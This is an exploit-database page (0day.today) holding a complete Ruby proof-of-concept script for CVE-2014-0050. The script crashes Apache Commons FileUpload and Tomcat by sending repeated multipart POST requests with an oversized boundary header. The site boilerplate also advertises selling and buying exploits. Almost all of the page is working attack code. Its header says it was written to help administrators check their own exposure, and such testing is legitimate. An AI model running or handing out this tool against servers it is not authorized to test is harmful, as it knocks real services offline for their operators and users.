0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apache Commons FileUpload and Apache Tomcat Denial of Service
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
################################################################################# # CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service # # # # Author: Oren Hafif, Trustwave SpiderLabs Research # # This is a Proof of Concept code that was created for the sole purpose # # of assisting system administrators in evaluating whether their applications # # are vulnerable to this issue or not # # # # Please use responsibly. # ################################################################################# require 'net/http' require 'net/https' require 'optparse' require 'openssl' options = {} opt_parser = OptionParser.new do |opt| opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]" opt.separator "" opt.separator "Options" opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url| options[:url] = url end opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests| options[:number_of_requests] = number_of_requests end opt.on("-h","--help","help") do puts "" puts "#################################################################################" puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #" puts "# #" puts "# Author: Oren Hafif, Trustwave SpiderLabs Research #" puts "# This is a Proof of Concept code that was created for the sole purpose #" puts "# of assisting system administrators in evaluating whether or not #" puts "# their applications are vulnerable to this issue. #" puts "# #" puts "# Please use responsibly. #" puts "#################################################################################" puts "" puts opt_parser puts "" exit end end opt_parser.parse! uri = "" begin uri = URI.parse(options[:url]) rescue Exception => e puts "" puts "ERROR: Invalid URL was entered #{options[:url]}" puts "" puts opt_parser exit end number_of_requests = 10; if(options[:number_of_requests] != nil) begin number_of_requests = Integer( options[:number_of_requests] ) throw Exception.new if number_of_requests <= 0 rescue Exception => e puts e puts "" puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}" puts "" puts opt_parser exit end end #uri = URI.parse(uri) puts "" puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..." i=10 i.times { print "#{i.to_s}...";sleep 1; i-=1;} puts "" number_of_requests.times do begin puts "Request Launched" https = Net::HTTP.new(uri.host,uri.port) https.use_ssl = uri.scheme=="https" https.verify_mode = OpenSSL::SSL::VERIFY_NONE req = Net::HTTP::Post.new(uri.path) req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}") req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75") req.body = "b"*4097 https.read_timeout = 1 res = https.request(req) rescue Timeout::Error=>e puts "Timeout - continuing DoS..." rescue Exception=>e puts e.inspect end end # 0day.today [2024-11-04] #